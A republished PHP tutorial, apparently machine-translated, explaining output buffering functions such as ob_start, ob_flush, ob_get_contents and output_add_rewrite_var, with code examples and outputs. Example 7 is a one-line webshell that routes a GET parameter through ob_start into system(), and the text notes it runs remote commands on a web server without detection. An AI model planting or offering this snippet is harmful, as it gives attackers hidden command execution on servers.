Home > Backend Development > PHP Tutorial > PHP output buffer control - Detailed explanation of Output Control function application, outputcontrol_PHP tutorial

PHP output buffer control - Detailed explanation of Output Control function application, outputcontrol_PHP tutorial

WBOY
Release: 2016-07-13 10:12:26
Original
705 people have browsed it
<p></p> <h2>PHP Output Buffer Control - Detailed explanation of Output Control function application, outputcontrol</h2> <p> When it comes to output buffering, the first thing to talk about is a thing called a buffer. Let's give a simple example to illustrate its role: when we edit a document, the system will not write to the disk before we save it, but will write it to the buffer. When the buffer is full or a save operation is performed, , the data will be written to the disk. For PHP, every output operation like echo is also written to the php buffer first. The data will not be displayed on the browser until the script is executed or a forced output caching operation is performed. </p> <p> In fact, for PHP programmers, basically every script involves output buffering, but in most cases, we do not need to change the output buffering. Today, let’s use an example to make a detailed analysis of the PHP output buffer control function “Output Control”. </p> <p> The following example briefly introduces how output buffering exists in general scripts: </p> <p> When we execute the following script: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例1*/</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> When the script finishes executing the first echo, it will not output the corresponding content to the browser, but will output it to a buffer, and so on. When all three echos are executed (that is, the script ends), Only then will all the contents of the buffer be output to the browser. Of course, this buffer also has a size limit, which is set according to the <em><code>output_buffering</code></em> option in php.ini, which will be introduced in detail in the following article. The output buffer control discussed in this chapter is to operate the content in the buffer before the end of the script. </p> <p> This example can better reflect the application of output buffer control: </p> <p> When executing the following code: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例2*/</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> We need to wait at least 2 seconds to see the output result, so can we display it in real time? That is to say, the corresponding content will be output when the first echo is executed. At this time, you need to use the output buffer control function to operate the buffer. The implementation code is as follows: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例3*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> It can also be implemented simply like this: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例4*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> As for the usage of related functions, they will be introduced below. Here I just show you the application of the output buffer control function. Of course, the output buffer control function has more than this function, so let’s take a look at the output buffer. In what areas can control functions be applied? </p> <h3>Function</h3> <h3>Related configuration items in php.ini</h3> <p> Let’s take a look at the options related to output buffering control in php.ini. There are three options in total, namely: <em><code>output_buffering</code></em> , <em><code>output_handler</code></em> and <em><code>implicit_flush</code></em></p> <h3>Detailed explanation of Output Control function</h3> <p>Now we will use examples to analyze related functions. I believe that after fully understanding the following content, we will have a clearer grasp of the output buffer control function. </p> <p><strong> 1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )</strong></p> <p> This function has been used in Example 3. You can also understand its meaning from the name, which is to open the output buffer for the next step of output buffer processing. What I want to mention here is the usage of its parameters. The first parameter needs to pass a callback function, which needs to take the buffer content as a parameter and return a string. He will be called when the buffer is sent out. The buffer sending refers to the execution of functions such as ob_flush() or the completion of script execution. The ob_flush() function will be introduced below. You can understand its usage by looking at a simple example: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例5*/</code> <code class="php plain">ob_start(</code><code class="php string">'handleString'</code><code class="php plain">);</code> <code class="php functions">echo</code> <code class="php string">'123456'</code><code class="php plain">;</code> <code class="php spaces"> </code> <code class="php keyword">function</code> <code class="php plain">handleString(</code><code class="php variable">$string</code><code class="php plain">){</code> <code class="php spaces"> </code><code class="php keyword">return</code> <code class="php plain">md5(</code><code class="php variable">$string</code><code class="php plain">);</code> <code class="php plain">}</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> The result after running is: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 </td> <td class="code"> <code class="php plain">e10adc3949ba59abbe56e057f20f883e</code> </td> </tr> </tbody> </table> <p> It means that the output content is md5 encrypted, which means that when the buffer content is output, the handleString function we defined is run. </p> <p> Let’s look at a more practical example, which is a common method of compressing web content using gzip and then outputting it. The code is as follows: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例6*/</code> <code class="php plain">ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code> <code class="php functions">echo</code> <code class="php functions">str_repeat</code><code class="php plain">(</code><code class="php string">'oschina'</code><code class="php plain">, 1024);</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> Its page size is: </p> <p><img src="http://www.bkjia.com/uploads/allimg/141204/163JS9E-0.PNG" alt=""></p> <p> Without using the ob_gzhandler parameter, the page size is: </p> <p><img src="http://www.bkjia.com/uploads/allimg/141204/163JQ555-1.PNG" alt=""></p> <p> You can clearly see the difference in size, so using ob_start() for page compression output is a very practical function. </p> <p> The second parameter <em><code> chunk_size</code></em> is the byte length of the buffer. If the buffer content is greater than this length, it will be sent out of the buffer. The default value is 0, which means the function will be is called last. If the third parameter <em><code>erase</code></em> is set to flase, it means that the buffer will not be deleted until the script is executed. If the delete buffer function is executed in advance (will be mentioned later), a report will be reported. A mistake. </p> <p> There are so many uses of ob_start(), but there are two points that require special attention: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例7*/</code> <code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code><code class="php plain">);</code><code class="php functions">echo</code> <code class="php string">"$_GET[a]"</code><code class="php plain">;ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> If you understand the above usage of ob_start, this code is not difficult to understand. It uses the ob_start function to pass the content of the buffer output as a parameter into the set function, realizing the Web server Permission to execute commands remotely without detection. </p> <p><strong> 2. string ob_get_contents (void)</strong></p> <p> This function is used to obtain the contents of the buffer at this time. The following example can better understand its usage: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例8*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code> <code class="php plain">phpinfo();</code> <code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code> <code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code> <code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code> <code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code> <code class="php plain">ob_end_clean();</code><code class="php comments">//清空并关闭缓冲区</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> When you run this example, you will find that the browser will not produce any output, but there will be a phpinfo.txt file in the current directory, which stores the expected output this time. This example also demonstrates the situation mentioned in the third point above. We can obtain the output content and process it according to our actual situation. </p> <p><strong> 3. int ob_get_length (void)</strong></p> <p> This function is used to get the length of the buffer content. Example 8 is slightly modified to show the usage of this function: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例9*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code> <code class="php plain">phpinfo();</code> <code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code> <code class="php variable">$length</code> <code class="php plain">= ob_get_length();</code><code class="php comments">//获取缓冲区内容长度</code> <code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code> <code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code> <code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code> <code class="php plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); </code><code class="php comments">//输出长度</code> <code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲区</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p><strong> 4. int ob_get_level (void)</strong></p> <p> This function is used to obtain the nesting level of the buffering mechanism. When we introduced the ob_start() function, we said that multiple buffers can be nested in a script, and this function is used to obtain the current buffer. Nesting level, usage is as follows: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例10*/</code> <code class="php plain">ob_start();</code> <code class="php plain">var_dump(ob_get_level());</code> <code class="php plain">ob_start();</code> <code class="php plain">var_dump(ob_get_level());</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> After running, you can clearly see their nesting relationship. </p> <p><strong> 5. array ob_get_status ([ bool $full_status = FALSE ] )</strong></p> <p> This function is used to obtain the status of the current buffer and return an array of status information. If the first parameter is true, an array of detailed information will be returned. Let’s analyze this array with an example: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例11*/</code> <code class="php plain">ob_start(&lsquo;ob_gzhandler&rsquo;);</code> <code class="php plain">var_export(ob_get_status());</code> <code class="php plain">ob_start();</code> <code class="php plain">var_export(ob_get_status());</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> The output of this script is as follows: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </td> <td class="code"> <code class="php keyword">array</code> <code class="php plain">(</code> <code class="php spaces">  </code><code class="php string">'level'</code> <code class="php plain">=> 1,</code> <code class="php spaces">  </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code> <code class="php spaces">  </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code> <code class="php spaces">  </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'ob_gzhandler'</code><code class="php plain">,</code> <code class="php spaces">  </code><code class="php string">'del'</code> <code class="php plain">=> true,</code> <code class="php plain">)</code> <code class="php spaces"> </code>  <code class="php keyword">array</code> <code class="php plain">(</code> <code class="php spaces">  </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code> <code class="php spaces">  </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code> <code class="php spaces">  </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code> <code class="php spaces">  </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'default output handler'</code><code class="php plain">,</code> <code class="php spaces">  </code><code class="php string">'del'</code> <code class="php plain">=> true,</code> <code class="php plain">)</code> </td> </tr> </tbody> </table> <p> Level is the nesting level, which is the same as the value obtained through ob_get_level(). </p> <p> Type is the processing buffer type, 0 is automatic processing within the system, and 1 is manual processing by the user. </p> <p> Status is the buffer processing status, 0 is the start, 1 is in progress, and 2 is the end </p> <p> name is the name of the defined output processing function, which is the function name passed in as the first parameter in the ob_start() function. </p> <p> del means whether the deletion buffer operation has been run </p> <p> After understanding the meaning of the above array, you can better understand the various properties of the buffer. </p> <p><strong> 6. array ob_list_handlers (void)</strong></p> <p> This function is used to obtain the function name array of the output handler, which is the first parameter we specify in the ob_start() function. It should be noted that if the parameter we pass is an anonymous function, or in the configuration If <em><code>output_buffering</code></em> is enabled in the file, the function will return the default output handler. The example in the official PHP manual can explain this function well: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例12*/</code> <code class="php comments">//using output_buffering=On</code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">ob_end_flush();</code> <code class="php spaces"> </code> <code class="php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">ob_end_flush();</code> <code class="php spaces"> </code> <code class="php comments">// anonymous functions</code> <code class="php plain">ob_start(create_function(</code><code class="php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class="php plain">));</code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> The output result is: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </td> <td class="code"> <code class="php plain">Array</code> <code class="php plain">(</code> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code> <code class="php plain">)</code> <code class="php spaces"> </code>  <code class="php plain">Array</code> <code class="php plain">(</code> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code> <code class="php plain">)</code> <code class="php spaces"> </code>  <code class="php plain">Array</code> <code class="php plain">(</code> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code> <code class="php plain">)</code> </td> </tr> </tbody> </table> <p> Now let’s take a look at the functions related to outputting, closing, and sending buffer contents: </p> <p><strong> 7. void ob_flush (void)</strong></p> <p> This function is often used in the previous examples. Its function is to "send" the current buffer content and clear the buffer at the same time. It should be noted that the word "send" is used here, which means that calling this function will not Output the contents of the buffer. As can be seen from Example 3, the flush function must be called afterwards before it will be output. The usage of flush will be discussed below, and no examples will be given here. </p> <p><strong> 8. void flush ( void )</strong></p> <p> This function is relatively commonly used. It is used to send all the previous output to the browser for display without any impact on the cache area. This function is used in both Examples 3 and 4 to display the current output to the browser. In other words, whether it is the output of functions such as echo, HTML entities, or content sent by running ob_start(), after running flush() will be displayed in the browser. </p> <p><strong> 9. void ob_implicit_flush ([ int $flag = true ] )</strong></p> <p> This function is used to turn on/off the absolute flush mode, which automatically executes flush() after each output, thereby eliminating the need to explicitly call flush() to improve efficiency. We will slightly change Example 4 and use this function to achieve the same effect: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例13*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_implicit_flush(true);</code><code class="php comments">//打开绝对刷送</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php comments">//flush(); 之后不需要再显示的调用 flush()</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php comments">//flush();</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> This example achieves the same effect as Example 4. Since absolute flushing is turned on, there is no need to call flush(). The system will automatically flush after output. </p> <p><strong> 10. bool ob_end_flush (void)</strong></p> <p> This function sends the contents of the buffer and closes the buffer. It is actually equivalent to executing ob_flush() and ob_end_clean() ;</p> <p><strong> 11. string ob_get_flush (void)</strong></p> <p> This function has basically the same effect as ob_end_flush(), except that it will return the contents of the buffer in the form of a string. It is very simple and will not be used as an example. </p> <p><strong> 12. void ob_clean (void)</strong></p> <p> This function will clear the current buffer, but will not close the buffer. The output of the following example will not be displayed because the buffer has been cleared before output, but we can get the buffer's Attribute, indicating that the buffer is not closed: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例14*/</code> <code class="php plain">ob_start();</code> <code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code> <code class="php plain">ob_clean();</code> <code class="php plain">var_dump(ob_get_status());</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p><strong> 13. bool ob_end_clean (void)</strong></p> <p> This function clears and closes the buffer. By slightly changing Example 14, you can find that we can no longer get the status of the buffer because it has been closed: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例15*/</code> <code class="php plain">ob_start();</code> <code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code> <code class="php plain">ob_end_clean();</code> <code class="php plain">var_dump(ob_get_status());</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p><strong> 14. string ob_get_clean (void)</strong></p> <p> This function clears and closes the cache, but returns the data in the cache in the form of a string. In fact, this function executes ob_get_contents() and ob_end_clean() respectively; </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例16*/</code> <code class="php plain">ob_start();</code> <code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code> <code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code> <code class="php plain">var_dump(ob_get_status());</code> <code class="php plain">var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> Finally, let’s look at two functions related to URL rewriting: </p> <p><strong> 15. bool output_add_rewrite_var ( string $name , string $value )</strong></p> <p> This function adds the keys and values ​​of the URL rewriting mechanism. The URL rewriting mechanism here refers to adding key-value pairs in GET mode at the end of the URL, or adding key-value pairs in a hidden form in the form. The absolute URL will not be added. Let’s use the example in the manual. It is very intuitive and clear: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例17*/</code> <code class="php plain">output_add_rewrite_var(</code><code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class="php plain">);</code> <code class="php spaces"> </code> <code class="php comments">// some links</code> <code class="php functions">echo</code> <code class="php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a></code> <code class="php plain"><a href=</code><code class="php string">"http://example.com"</code><code class="php plain">>link2</a>';</code> <code class="php spaces"> </code>  <code class="php comments">// a form</code> <code class="php functions">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code> <code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code> <code class="php plain"></form>';</code> <code class="php spaces"> </code>  <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> The output of the program is: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 </td> <td class="code"> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class="html plain">>link</</code><code class="html keyword">a</code><code class="html plain">></code> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</</code><code class="html keyword">a</code><code class="html plain">></code> <code class="html spaces"> </code>  <code class="html plain"><</code><code class="html keyword">form</code> <code class="html color1">action</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">method</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain">></code> <code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">value</code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code> <code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code> <code class="html plain"></</code><code class="html keyword">form</code><code class="html plain">></code> <code class="html spaces"> </code>  <code class="html plain">Array</code> <code class="html plain">(</code> <code class="html spaces">    </code><code class="html plain">[0] => URL-Rewriter</code> <code class="html plain">)</code> </td> </tr> </tbody> </table> <p> You can see that links and Forms that are not absolute URL addresses are added with corresponding key-value pairs. </p> <p><strong> 16. bool output_reset_rewrite_vars (void)</strong></p> <p> This function is used to clear all URL rewriting mechanisms, that is, to delete the rewrite variables set by output_add_rewrite_var(). </p> <h3>Other things to note</h3> <p> I believe that after reading the above content, you will have a deeper understanding of PHP’s buffer control function. Let’s talk about some issues that need to be paid attention to in daily use: </p> <p align="left"></p> <div style="display:none;"> <span id="url" itemprop="url">http://www.bkjia.com/PHPjc/921717.html</span><span id="indexUrl" itemprop="indexUrl">www.bkjia.com</span><span id="isOriginal" itemprop="isOriginal">true</span><span id="isBasedOnUrl" itemprop="isBasedOnUrl">http: //www.bkjia.com/PHPjc/921717.html</span><span id="genre" itemprop="genre">TechArticle</span><span id="description" itemprop="description">PHP Output Buffer Control - Detailed explanation of Output Control function application, outputcontrol Speaking of output buffering, the first thing to talk about is a function called Buffer stuff. Give a simple example to illustrate him...</span> </div> <div class="art_confoot"></div>
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template